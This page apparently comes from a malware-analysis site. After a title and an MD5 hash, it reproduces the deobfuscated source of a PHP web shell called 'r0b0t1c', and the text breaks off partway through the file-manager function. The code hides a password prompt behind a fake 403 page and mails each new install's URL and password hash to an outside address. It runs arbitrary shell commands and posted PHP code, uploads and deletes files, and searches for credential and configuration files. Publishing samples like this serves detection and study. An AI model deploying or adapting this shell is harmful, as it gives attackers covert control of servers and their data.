PHP Malware Analysis

403.php

md5: 31137f00a0807605464fc2b1de5a557c

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Deobfuscated PHP code

<?php

$auth_pass = "9e3414bc77d8635228ad4f8b9b7461ac";
$color = "757575";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action = 'r0b0t1c';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
@session_start();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('bOt_VERSION', '666');
if (get_magic_quotes_gpc()) {
    function bOtstripslashes($array)
    {
        return is_array($array) ? array_map('bOtstripslashes', $array) : stripslashes($array);
    }
    $_POST = bOtstripslashes($_POST);
}
function bOtLogin()
{
    die("<title>403 Forbidden</title>\n <h1>Forbidden</h1>\n<p>You don't have permission to access any data on this server.<br><br>Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.</p>\n<br><br><br><br><br><br><br><br>\n<style>\ninput { margin:0;background-color:#fff;border:1px solid #fff; }\n</style>\n<right>\n<form method=post>\n<input type=password name=pass>\n</form></right>");
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
    if (empty($auth_pass) || isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    } else {
        bOtLogin();
    }
}
if (strtolower("PHP") == "win") {
    $os = 'win';
} else {
    $os = 'nix';
}
$visitcount = $HTTP_COOKIE_VARS["visits"];
if ($visitcount == "") {
    $visitcount = 0;
    $visitor = $_SERVER["REMOTE_ADDR"];
    $web = $_SERVER["HTTP_HOST"];
    $inj = $_SERVER["REQUEST_URI"];
    $target = rawurldecode($web . $inj);
    $body = "Link Injek PHP shell :  {$target} | MD5 pass = {$auth_pass} | IP akses = {$visitor}";
    @mail("byguardian@ymail.com", "sheLL", "{$body}");
} else {
    $visitcount;
}
setcookie("visits", $visitcount);
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) {
    error_reporting(0);
}
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) {
    @chdir($_POST['c']);
}
$cwd = @getcwd();
if ($os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $cwd = str_replace("\\", "/", $cwd);
}
if ($cwd[strlen($cwd) - 1] != '/') {
    $cwd .= '/';
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $GLOBALS['default_use_ajax'];
}
if ($os == 'win') {
    $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
} else {
    $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
}
function bOtHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['default_charset'];
    }
    global $color;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - r0b0t1c " . r0b0t1c_VERSION . "</title>\n<style>\nbody{background-color:#000000;color:#ffffff;}\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#ffffff; }\ntable.info{ color:#fff;background-color:#000000; }\nspan,h1,a{ color: {$color} !important; }\nspan{ font-weight: bolder; }\nh1{ border-left:5px solid #800000;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px; }\ndiv.content{ padding: 5px;margin-left:5px;background-color:#000000; }\na{ text-decoration:none; }\na:hover{ text-decoration:underline; }\n.ml1{ border:1px solid #800000;padding:5px;margin:0;overflow: auto; }\n.bigarea{ width:100%;height:250px; }\ninput,textarea,select{ margin:1;color:#fff;background-color:#000000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }\nform{ margin:0px; }\n#toolsTbl{ text-align:center; }\n.toolsInp{ width: 300px }\n.main th{text-align:left;background-color:#800000;}\n.main tr:hover{background-color:#335EA8}\n.l1{background-color:#800000}\n.l2{background-color:#ffffff}\npre{font-family:Courier,Monospace;}\n</style>\n<script>\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n    var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open('POST', url, true);\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<head>\n<body>\n<center><a href='http://khudhori.com' target='_blank'>r0b0t1c sheLL</a></center>\n<div style='position:absolute;width:100%;background-color:#800000;top:14;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>\n";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://exploit-db.com/list.php?description=';
    if (strpos('Linux', $kernel) !== false) {
        $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
    } else {
        $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"r0b0t1c\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $item) {
        $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    }
    $m = array('Sec. Info' => 'SecInfo', 'Files' => 'r0b0t1c', 'CMD' => 'Console', 'SQL' => 'Sql', 'PHP' => 'Php', 'Bypass' => 'SafeMode', 'Encoder' => 'StringTools', 'Brute' => 'Bruteforce', 'Bind' => 'Network');
    if (!empty($GLOBALS['auth_pass'])) {
        $m['Keluar'] = 'Logout';
    }
    $m['Hapus'] = 'SelfRemove';
    $menu = '';
    foreach ($m as $k => $v) {
        $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'r0b0t1c\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Waktu server:</span> ' . date('H:i:s Y-m-d ') . '<br>' . bOtViewSize($totalSpace) . ' <span>Free:</span> ' . bOtViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . bOtPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'r0b0t1c\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #800000;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function bOtFooter()
{
    $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#25ff00'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #800000;border-bottom:2px solid #800000;'>\n\t<tr>\n\t\t<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Pindah Direktori:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='Hajar!'></form></td>\n\t\t<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Lihat File:</span><br><input class='toolsInp' type=text name=f><input type=submit value='Hajar!'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"g('r0b0t1c',null,'mkdir',this.d.value);return false;\"><span>Membuat Direktori:</span>{$is_writable}<br><input class='toolsInp' type=text name=d><input type=submit value='Hajar!'></form></td>\n\t\t<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Membuat File:</span>{$is_writable}<br><input class='toolsInp' type=text name=f><input type=submit value='Hajar!'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Perintah Eksekusi CMD:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='Hajar!'></form></td>\n\t\t<td><form method='post' ENCTYPE='multipart/form-data'>\n\t\t<input type=hidden name=a value='r0b0t1c'>\n\t\t<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>\n\t\t<input type=hidden name=p1 value='uploadFile'>\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f><input type=submit value='Hajar!'></form><br  ></td>\n\t</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
    function posix_getpwuid($p)
    {
        return false;
    }
}
if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
    function posix_getgrgid($p)
    {
        return false;
    }
}
function bOtEx($in)
{
    $out = '';
    if (function_exists('exec')) {
        @exec($in, $out);
        $out = @join("\n", $out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in, "r"))) {
        $out = "";
        while (!@feof($f)) {
            $out .= fread($f, 1024);
        }
        pclose($f);
    }
    return $out;
}
function bOtViewSize($s)
{
    if ($s >= 1073741824) {
        return sprintf('%1.2f', $s / 1073741824) . ' GB';
    } elseif ($s >= 1048576) {
        return sprintf('%1.2f', $s / 1048576) . ' MB';
    } elseif ($s >= 1024) {
        return sprintf('%1.2f', $s / 1024) . ' KB';
    } else {
        return $s . ' B';
    }
}
function bOtPerms($p)
{
    if (($p & 0xc000) == 0xc000) {
        $i = 's';
    } elseif (($p & 0xa000) == 0xa000) {
        $i = 'l';
    } elseif (($p & 0x8000) == 0x8000) {
        $i = '-';
    } elseif (($p & 0x6000) == 0x6000) {
        $i = 'b';
    } elseif (($p & 0x4000) == 0x4000) {
        $i = 'd';
    } elseif (($p & 0x2000) == 0x2000) {
        $i = 'c';
    } elseif (($p & 0x1000) == 0x1000) {
        $i = 'p';
    } else {
        $i = 'u';
    }
    $i .= $p & 0x100 ? 'r' : '-';
    $i .= $p & 0x80 ? 'w' : '-';
    $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
    $i .= $p & 0x20 ? 'r' : '-';
    $i .= $p & 0x10 ? 'w' : '-';
    $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
    $i .= $p & 0x4 ? 'r' : '-';
    $i .= $p & 0x2 ? 'w' : '-';
    $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
    return $i;
}
function bOtPermsColor($f)
{
    if (!@is_readable($f)) {
        return '<font color=#606060>' . bOtPerms(@fileperms($f)) . '</font>';
    } elseif (!@is_writable($f)) {
        return '<font color=white>' . bOtPerms(@fileperms($f)) . '</font>';
    } else {
        return '<font color=#25ff00>' . bOtPerms(@fileperms($f)) . '</font>';
    }
}
if (!function_exists("scandir")) {
    function scandir($dir)
    {
        $dh = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
function bOtWhich($p)
{
    $path = bOtEx('which ' . $p);
    if (!empty($path)) {
        return $path;
    }
    return false;
}
function actionSecInfo()
{
    bOtHeader();
    echo "<h1>Server security information</h1><div class=content>";
    function bOtSecParam($n, $v)
    {
        $v = trim($v);
        if ($v) {
            echo '<span>' . $n . ': </span>';
            if (strpos($v, "\n") === false) {
                echo $v . '<br>';
            } else {
                echo '<pre class=ml1>' . $v . '</pre>';
            }
        }
    }
    bOtSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if (function_exists('apache_get_modules')) {
        bOtSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    }
    bOtSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
    bOtSecParam('Open base dir', @ini_get('open_basedir'));
    bOtSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    bOtSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    bOtSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
    $temp = array();
    if (function_exists('mysql_get_client_info')) {
        $temp[] = "MySql (" . mysql_get_client_info() . ")";
    }
    if (function_exists('mssql_connect')) {
        $temp[] = "MSSQL";
    }
    if (function_exists('pg_connect')) {
        $temp[] = "PostgreSQL";
    }
    if (function_exists('oci_connect')) {
        $temp[] = "Oracle";
    }
    bOtSecParam('Supported databases', implode(', ', $temp));
    echo "<br>";
    if ($GLOBALS['os'] == 'nix') {
        bOtSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
        bOtSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
        bOtSecParam('OS version', @file_get_contents('/proc/version'));
        bOtSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['safe_mode']) {
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            echo "<br>";
            $temp = array();
            foreach ($userful as $item) {
                if (bOtWhich($item)) {
                    $temp[] = $item;
                }
            }
            bOtSecParam('Userful', implode(', ', $temp));
            $temp = array();
            foreach ($danger as $item) {
                if (bOtWhich($item)) {
                    $temp[] = $item;
                }
            }
            bOtSecParam('Danger', implode(', ', $temp));
            $temp = array();
            foreach ($downloaders as $item) {
                if (bOtWhich($item)) {
                    $temp[] = $item;
                }
            }
            bOtSecParam('Downloaders', implode(', ', $temp));
            echo "<br/>";
            bOtSecParam('HDD space', bOtEx('df -h'));
            bOtSecParam('Hosts', @file_get_contents('/etc/hosts'));
        }
    } else {
        bOtSecParam('OS Version', bOtEx('ver'));
        bOtSecParam('Account Settings', bOtEx('net accounts'));
        bOtSecParam('User Accounts', bOtEx('net user'));
    }
    echo "</div>";
    bOtFooter();
}
function actionPhp()
{
    if (isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    bOtHeader();
    if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
        echo "<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>";
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
        echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
    if (!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo "</pre></div>";
    bOtFooter();
}
function actionr0b0t1c()
{
    bOtHeader();
    echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
    if (!empty($_POST['p1'])) {
        switch ($_POST['p1']) {
            case 'uploadFile':
                if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                    echo "Can't upload file!";
                }
                break;
            case 'mkdir':
                if (!@mkdir($_POST['p2'])) {
                    echo "Can't create new dir";
                }
                break;
            case 'delete':
                function deleteDir($path)
                {
                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                    $dh = opendir($path);
                    while (($item = readdir($dh)) !== false) {
                        $item = $path . $item;
                        if (basename($item) == ".." || basename($item) == ".") {
                            continue;
                        }
                        $type = filetype($item);
                        if ($type == "dir") {
                            deleteDir($item);
                        } else {
                            @unlink($item);
                        }
                    }
                    closedir($dh);
                    @rmdir($path);
                }
                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $f) {
                        if ($f == '..') {
                            continue;
                        }
                        $f = urldecode($f);
                        if (is_dir($f)) {
                            deleteDir($f);
                        } else {
                            @unlink($f);
                        }
                    }
                }
                break;
            case 'paste':
                if ($_SESSION['act'] == 'copy') {
                    function copy_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_SESSION['f'] as $f) {
                        copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
                    }
                } elseif ($_SESSION['act'] == 'move') {
                    function move_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                }
                            }
                        } elseif (@is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }
                    foreach ($_SESSION['f'] as $f) {
                        @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
                    }
                } elseif ($_SESSION['act'] == 'zip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_SESSION['c']);
                            foreach ($_SESSION['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                if (@is_file($_SESSION['c'] . $f)) {
                                    $zip->addFile($_SESSION['c'] . $f, $f);
                                } elseif (@is_dir($_SESSION['c'] . $f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
                                    foreach ($iterator as $key => $value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
                } elseif ($_SESSION['act'] == 'unzip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach ($_SESSION['f'] as $f) {
                            if ($zip->open($_SESSION['c'] . $f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
                } elseif ($_SESSION['act'] == 'tar') {
                    chdir($_SESSION['c']);
                    $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
                    bOtEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
                    chdir($GLOBALS['cwd']);
                }
                unset($_SESSION['f']);
                break;
            default:
                if (!empty($_POST['p1'])) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach ($_SESSION['f'] as $k => $f) {
                        $_SESSION['f'][$k] = urldecode($f);
                    }
                    $_SESSION['c'] = @$_POST['c'];
                }
                break;
        }
    }
    $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if ($dirContent === false) {
        echo "Can't open this folder!";
        bOtFooter();
        return;
    }
    global $sort;
    $sort = array('name', 1);
    if (!empty($_POST['p1'])) {
        if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
            $sort = array($match[1], (int) $match[2]);
        }
    }
    echo "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == 'checkbox')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);
    for ($i = 0; $i < $n; $i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => bOtPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
            $files[] = array_merge($tmp, array('type' => 'file'));
        } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
        } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
    }
